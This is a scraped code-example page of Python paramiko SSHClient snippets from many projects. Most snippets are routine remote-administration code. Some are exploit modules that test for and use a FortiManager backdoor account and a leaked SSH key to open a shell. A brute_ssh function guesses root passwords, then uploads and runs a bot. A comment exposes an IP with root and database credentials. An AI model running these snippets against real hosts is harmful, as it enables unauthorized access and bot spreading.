def copy_file(hostname, port, username, password, src, dst):
client = paramiko.SSHClient()
client.load_system_host_keys()
print (" Connecting to %s \n with username=%s... \n" %(hostname,username))
t = paramiko.Transport(hostname, port)
t.connect(username=username,password=password)
sftp = paramiko.SFTPClient.from_transport(t)
print ("Copying file: %s to path: %s" %(src, dst))
sftp.put(src, dst)
sftp.close()
t.close()
python类SSHClient()的实例源码
6_2_copy_remote_file_over_sftp.py 文件源码
项目:Python-Network-Programming-Cookbook-Second-Edition
作者: PacktPublishing
项目源码
文件源码
阅读 25
收藏 0
点赞 0
评论 0
def test_ssh(self, mock_exec, mock_conn, mock_set):
mock_log = mock.Mock()
mock_channel = mock.Mock()
mock_exec.return_value = (fake_channel_file(['input']),
fake_channel_file(['out_line1',
'out_line2'],
mock_channel),
fake_channel_file(['err_line1',
'err_line2']))
mock_channel.recv_exit_status.return_value = 0
client = sshclient.SSHClient('ip', 'username', password='password',
log=mock_log)
out, err = client.ssh('fake_command', output=True)
mock_log.debug.assert_called()
mock_exec.assert_called()
mock_log.info.assert_called_with('out_line1\nout_line2')
mock_log.error.assert_called_with('err_line1\nerr_line2')
mock_channel.recv_exit_status.assert_called_with()
self.assertEqual(out, 'out_line1\nout_line2')
self.assertEqual(err, 'err_line1\nerr_line2')
def execute_ssh_command(self, command):
"""Executes command on switch.
Args:
command(str): ssh command to execute
"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Make connection and create shell.
client.connect(self.ipaddr, self._sshtun_port, self.ssh_user, self.ssh_user_pass)
shell = client.invoke_shell()
# Execute command and get results.
_, stdout, stderr = client.exec_command(command)
data = self._read_command_output(stdout, stderr, 'both')
# Close connection.
shell.close()
client.close()
return data
def _simple_scp(method, source, dest):
remote = source if method == 'get' else dest
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(remote.url.host, remote.url.port or 22, remote.url.user, remote.url.password)
scpc = scp.SCPClient(client.get_transport())
getattr(scpc, method)(source.url.path, dest.url.path)
def __init__(self, ip_address, user, password=None, key_filename=None):
self.ip_address = ip_address
self.user = user
self.password = password
self.key_filename = key_filename
self.connected = False
self.shell = None
self.logger.setLevel(logging.INFO)
self.ssh = paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
self.util = Utilvnf()
with open(self.util.test_env_config_yaml) as file_fd:
test_env_config_yaml = yaml.safe_load(file_fd)
file_fd.close()
self.ssh_revieve_buff = test_env_config_yaml.get("general").get(
"ssh_receive_buffer")
def check(self):
url = "{}:{}/img/favicon.png?v=6.0.1-1213".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
target = self.target.replace("http://", "").replace("https://", "")
try:
ssh.connect(target, self.ssh_port, timeout=5, username=random_text(8), password=random_text(8))
except paramiko.AuthenticationException:
return True # target is vulnerable
except Exception:
pass
return False # target is not vulnerable
def run(self):
if self.check():
if "DSA PRIVATE KEY" in self.valid['private_key']:
pkey = paramiko.DSSKey.from_private_key(StringIO.StringIO(self.valid['private_key']))
elif "RSA PRIVATE KEY" in self.valid['private_key']:
pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(self.valid['private_key']))
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(self.target, self.ssh_port, timeout=5, username=self.valid['user'], pkey=pkey)
except Exception:
ssh.close()
print_error("Device seems to be not vulnerable")
else:
print_success("SSH - Successful authentication")
ssh_interactive(ssh)
else:
print_error("Exploit failed - target seems to be not vulnerable")
def check(self):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(self.target, self.ssh_port, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
except Exception:
return False # target is not vulnerable
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
except Exception:
return None # could not verify
try:
trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
except Exception:
return False # target is not vulnerable
return True # target is vulnerable
def check(self):
url = "{}:{}/img/favicon.png?v=6.0.1-1213".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
target = self.target.replace("http://", "").replace("https://", "")
try:
ssh.connect(target, self.ssh_port, timeout=5, username=random_text(8), password=random_text(8))
except paramiko.AuthenticationException:
return True # target is vulnerable
except Exception:
pass
return False # target is not vulnerable
def run(self):
if self.check():
if "DSA PRIVATE KEY" in self.valid['private_key']:
pkey = paramiko.DSSKey.from_private_key(StringIO.StringIO(self.valid['private_key']))
elif "RSA PRIVATE KEY" in self.valid['private_key']:
pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(self.valid['private_key']))
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(self.target, self.ssh_port, timeout=5, username=self.valid['user'], pkey=pkey)
except Exception:
ssh.close()
print_error("Device seems to be not vulnerable")
else:
print_success("SSH - Successful authentication")
ssh_interactive(ssh)
else:
print_error("Exploit failed - target seems to be not vulnerable")
def check(self):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(self.target, self.ssh_port, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
except Exception:
return False # target is not vulnerable
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
except Exception:
return None # could not verify
try:
trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
except Exception:
return False # target is not vulnerable
return True # target is vulnerable
def is_ssh_ready(ip, username, password=None, key=None):
"""
Checks if it is possible to connect to the ip using the credentials.
:param ip: ip to check for ssh connectivity
:param username: username
:param password: password
:param key: pass to *.pem key
:return: boolean of the connection state
"""
try:
private_key = paramiko.RSAKey.from_private_key_file(os.path.expanduser(key))
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip, username=username, password=password, pkey=private_key)
ssh.close()
return True
except Exception:
report("SSH is not responsive for %s:\n%s" % (ip, traceback.format_exc()))
return False
def exe_command(hostname_, username_, password_, commandpaths_):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname_, username=username_, password=password_)
# channel = ssh.invoke_shell()
# ssh_stdin, ssh_stdout, ssh_stderr = channel.exec_command(commandpath_)
for command_ in commandpaths_:
commandpath_, issudo = command_
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(commandpath_, get_pty=issudo)
for eline in ssh_stdout.readlines():
print('ssh_stdout:{}'.format(eline), end='')
for eline in ssh_stderr.readlines():
print('ssh_stderr:{}'.format(eline), end='')
# Cleanup
ssh_stdin.close()
ssh_stdout.close()
ssh_stderr.close()
# channel.close()
ssh.close()
LOG.info('end successfully!')
switches.py 文件源码
项目:cluster-genesis
作者: open-power-ref-design-toolkit
项目源码
文件源码
阅读 24
收藏 0
点赞 0
评论 0
def issue_cmd(self, cmd):
"""Issue command to switch via SSH and return its stdout.
Args:
cmd (string): Command to issue.
Returns:
string: Command stdout.
"""
if self.log_level == self.DEBUG or self.log_level == self.INFO:
paramiko.util.log_to_file(self.SSH_LOG)
s = paramiko.SSHClient()
s.load_system_host_keys()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.connect(self.ip, self.port, self.userid, self.password)
stdin, stdout, stderr = s.exec_command(
self.ENABLE_REMOTE_CONFIG % (cmd))
output = stdout.read()
s.close()
return output
def _connect(self, connection_info):
ip = connection_info["ip"]
port = connection_info.get("port", 22)
username = connection_info["username"]
pkey = connection_info.get("pkey")
password = connection_info.get("password")
LOG.info("Waiting for connectivity on host: %(ip)s:%(port)s",
{"ip": ip, "port": port})
utils.wait_for_port_connectivity(ip, port)
self._event_manager.progress_update(
"Connecting to SSH host: %(ip)s:%(port)s" %
{"ip": ip, "port": port})
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=ip, port=port, username=username, pkey=pkey,
password=password)
self._ssh = ssh
def connect(self):
"""Call to set connection with remote client."""
try:
self.session = paramiko.SSHClient()
self.session.set_missing_host_key_policy(paramiko.AutoAddPolicy())
self.session.connect(
self.client_.ip, username=self.client_.user,
password=self.client_.pass_)
self.SFTP = self.session.open_sftp()
except (paramiko.AuthenticationException,
paramiko.ssh_exception.NoValidConnectionsError) as e:
print(colored("> {}".format(e), 'red'))
self.logger.error(e)
sys.exit()
sshparamiko_extractor_hook.py 文件源码
项目:TAC-Airflow-Plugin
作者: vipul-tm
项目源码
文件源码
阅读 26
收藏 0
点赞 0
评论 0
def get_client(self):
"""
Returns a redis connection object
"""
conn_config = {
"host": self.conn.host or 'localhost',
"port": self.conn.port or 22,
"login": self.conn.login or 'admin',
"password":self.conn.password or 'admin'
}
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(conn_config['host'],username=conn_config['login'],password=conn_config['password'])
return client
def __init__(self,username,ip,keyfile=None):
self.username = username
self.ip = ip
self._ssh = paramiko.SSHClient()
self._ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
if keyfile:
self.key_file = keyfile
self.key = paramiko.RSAKey.from_private_key_file(self.key_file)
if 'dsa' or 'dss' in self.key_file:
self.key = paramiko.DSSKey.from_private_key_file(self.key_file)
self._ssh.connect(self.ip, 22, self.username, pkey=self.key, timeout=5)
else:
self.pw = '{0}@baihe.op'.format(username)
if self.username == 'root':
self.pw = app.config.get('INIT_PASSWORD')
self._ssh.connect(self.ip, 22, self.username, password=self.pw, timeout=5)
def get_ssh(host, user, password, look_for_keys=True):
ssh = SSHClient()
ssh.set_missing_host_key_policy(AutoAddPolicy())
try:
try:
ssh.connect(host, username=user, password=password, timeout=5,
look_for_keys=look_for_keys)
except AuthenticationException as err:
LOG.error("{0} for host={1} username={2} password={3}".format(
repr(err), host, user, password
))
raise
except Exception as e:
LOG.error(str(e))
if 'timed out' in str(e) or 'Connection refused' in str(e):
raise Exception('Connection error: timed out or refused.')
raise e
yield ssh
finally:
ssh.close()
def exec_in_container(self, pod_id, container_name, command):
k8s_pod = self._get_by_id(pod_id)
ssh_access = getattr(k8s_pod, 'direct_access', None)
if not ssh_access:
raise ContainerCommandExecutionError(
"Couldn't access the contianer")
if container_name not in ssh_access['links']:
raise NotFound('Container not found')
username, host = ssh_access['links'][container_name].split('@', 1)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, username=username, password=ssh_access['auth'],
timeout=10, look_for_keys=False, allow_agent=False)
except Exception:
raise ContainerCommandExecutionError(
'Failed to connect to the container')
try:
_, o, _ = ssh.exec_command(command, timeout=20)
exit_status = o.channel.recv_exit_status()
result = o.read().strip('\n')
except Exception:
raise ContainerCommandExecutionError()
return {'exitStatus': exit_status, 'result': result}
def ssh_connect(host, timeout=10):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
error_message = None
try:
ssh.connect(host, username='root', key_filename=SSH_KEY_FILENAME,
timeout=timeout)
except (AuthenticationException, SSHException) as e:
error_message =\
'{0}.\nCheck hostname, check that user from which '.format(e) +\
'Kuberdock runs (usually nginx) has ability to login as root on ' \
'this node, and try again'
except socket.timeout:
error_message = 'Connection timeout({0} sec). '.format(timeout) +\
'Check hostname and try again'
except socket.error as e:
error_message =\
'{0} Check hostname, your credentials, and try again'.format(e)
except IOError as e:
error_message =\
'ssh_connect: cannot use SSH-key: {0}'.format(e)
return ssh, error_message
def ssh(ip,port,username,password,cmd):
try:
ssh = paramiko.SSHClient() # ??ssh??
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=ip, port=int(port), username=username, password=password, )
stdin, stdout, stderr = ssh.exec_command(cmd, timeout=10)
result = stdout.read()
result1 = result.decode()
error = stderr.read().decode('utf-8')
if not error:
ret = {"ip":ip,"data":result1}
ssh.close()
return ret
except Exception as e:
error = "???????,{}".format(e)
ret = {"ip": ip, "data": error}
return ret
def receive_file(self, source, dest):
"""
Transmit a file to a remote host via SSH
We transmit the indicated file to the target location. Any errors
are simply passed along. In addition, the postgres system user is
currently assumed as the target file owner.
:param source: Name of file to send to indicated host.
:param dest: Full path on host to send file.
:raise: Exception output obtained from secure transmission, if any.
"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(self.instance.server.hostname, username='postgres')
sftp = client.open_sftp()
sftp.put(source, dest)
sftp.close()
client.close()
def test_timeout(self):
client_tmp = paramiko.SSHClient
def client_mock():
client = client_tmp()
client.connect = mock.Mock(name='connect')
return client
paramiko.SSHClient = client_mock
paramiko.RSAKey.from_private_key_file = mock.Mock()
server = mock.Mock()
test = SSHClient(server)
self.assertEqual(test._ssh_client.connect.call_args[1]['timeout'], None)
test2 = SSHClient(server, timeout=30)
self.assertEqual(test2._ssh_client.connect.call_args[1]['timeout'], 30)
def get_ssh_client(self, key_file=None, host_key_file='~/.ssh/known_hosts',
uname='root'):
import paramiko
if not self.instance:
print('No instance yet!')
return
if not self._ssh_client:
if not key_file:
iobject = IObject()
key_file = iobject.get_filename('Path to OpenSSH Key file')
self._pkey = paramiko.RSAKey.from_private_key_file(key_file)
self._ssh_client = paramiko.SSHClient()
self._ssh_client.load_system_host_keys()
self._ssh_client.load_host_keys(os.path.expanduser(host_key_file))
self._ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
self._ssh_client.connect(self.instance.public_dns_name,
username=uname, pkey=self._pkey)
return self._ssh_client
def brute_ssh(self, host):
global passwords
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for pswd in passwords:
try:
ssh.connect(host, port=22, username="root", password=pswd)
sftp = ssh.open_sftp()
ssh.exec_command("cd ..")
ssh.exec_command("mkdir .etc")
ssh.exec_command("cd .etc")
for file in os.listdir("SSH_files_linux"):
sftp.put(file, ".etc")
sftp.close()
ssh.exec_command("chmod +x ActualBot.py")
ssh.exec_command("./ActualBot.py")
ssh.close()
except paramiko.AuthenticationException:
pass
except socket.error:
pass
return None
NagiosOperationsPlugin.py 文件源码
项目:opsmgr
作者: open-power-ref-design-toolkit
项目源码
文件源码
阅读 24
收藏 0
点赞 0
评论 0
def _connect():
client = paramiko.SSHClient()
if os.path.exists(NagiosPlugin.OPSMGR_CONF):
try:
parser = configparser.ConfigParser()
parser.read(NagiosPlugin.OPSMGR_CONF, encoding='utf-8')
server = parser.get(NagiosPlugin.NAGIOS_SECTION, NagiosPlugin.NAGIOS_SERVER).lstrip('"').rstrip('"')
userid = parser.get(NagiosPlugin.NAGIOS_SECTION, NagiosPlugin.NAGIOS_USERID).lstrip('"').rstrip('"')
sshkey = parser.get(NagiosPlugin.NAGIOS_SECTION, NagiosPlugin.NAGIOS_SSHKEY).lstrip('"').rstrip('"')
prvkey = paramiko.RSAKey.from_private_key_file(sshkey)
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(server, username=userid, pkey=prvkey, timeout=30, allow_agent=False)
except:
raise exceptions.OpsException("connection to nagios server failed:\n"
"Server: " + server + "\n"
"Userid: " + userid + "\n"
"Sshkey: " + sshkey + "\n")
return client
GangliaOperationsPlugin.py 文件源码
项目:opsmgr
作者: open-power-ref-design-toolkit
项目源码
文件源码
阅读 24
收藏 0
点赞 0
评论 0
def _connect():
client = paramiko.SSHClient()
if os.path.exists(GangliaPlugin.OPSMGR_CONF):
try:
parser = configparser.ConfigParser()
parser.read(GangliaPlugin.OPSMGR_CONF, encoding='utf-8')
server = parser.get(GangliaPlugin.GANGLIA_SECTION, GangliaPlugin.GANGLIA_SERVER).lstrip('"').rstrip('"')
userid = parser.get(GangliaPlugin.GANGLIA_SECTION, GangliaPlugin.GANGLIA_USERID).lstrip('"').rstrip('"')
sshkey = parser.get(GangliaPlugin.GANGLIA_SECTION, GangliaPlugin.GANGLIA_SSHKEY).lstrip('"').rstrip('"')
prvkey = paramiko.RSAKey.from_private_key_file(sshkey)
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(server, username=userid, pkey=prvkey, timeout=30, allow_agent=False)
except:
raise exceptions.OpsException("connection to ganglia server failed:\n"
"Server: " + server + "\n"
"Userid: " + userid + "\n"
"Sshkey: " + sshkey + "\n")
return client
def sql_init(ip,username,password,cmd):
try:
client = paramiko.SSHClient()
# Default accept unknown keys
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Connect
client.connect(ip, port=22, username=username, password=password,timeout="20s")
# Execute shell remotely
stdin, stdout, stderr = client.exec_command(cmd)
stdout.read()
print stdout
client.close()
#sftp = client.open_sftp()
# Make a dir
#sftp.mkdir('/home/testssh')
# Down file from remote to local ????????????????
#sftp.get('firewall.sh', '/tmp/firewall.sh')
# Upload file from local to remote ????????
#sftp.put('D:/iso/auto.sh', '/home/testssh/auto.sh')
except Exception, e:
print 'authentication failed or execute commands failed:',e
#dropdatabase("172.30.121.54","webui","123456","drop database frontend")
#sql_init("172.30.121.54", "root", "teamsun", "mysql -uwebui -p123456 < /etc/frontend/frontend.sql")
def __init__(self, context):
self.context = context
self.connection_attempts = 20
self.transport = None
self.client = paramiko.SSHClient()
self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for tries in range(self.connection_attempts):
try:
self.client.connect(hostname=self.context.hostname,
username=self.context.username,
port=self.context.port,
allow_agent=True,
look_for_keys=True)
break
except paramiko.ssh_exception.AuthenticationException, paramiko.ssh_exception.SSHException:
LOG.warning("Unable to authenticate with remote server")
raise bastion_ssh.errors.ConnectionError(
"Unable to authenticate with remote server")
except (socket.error, EOFError):
LOG.warning("connection refused. retrying.")
time.sleep(tries + 1)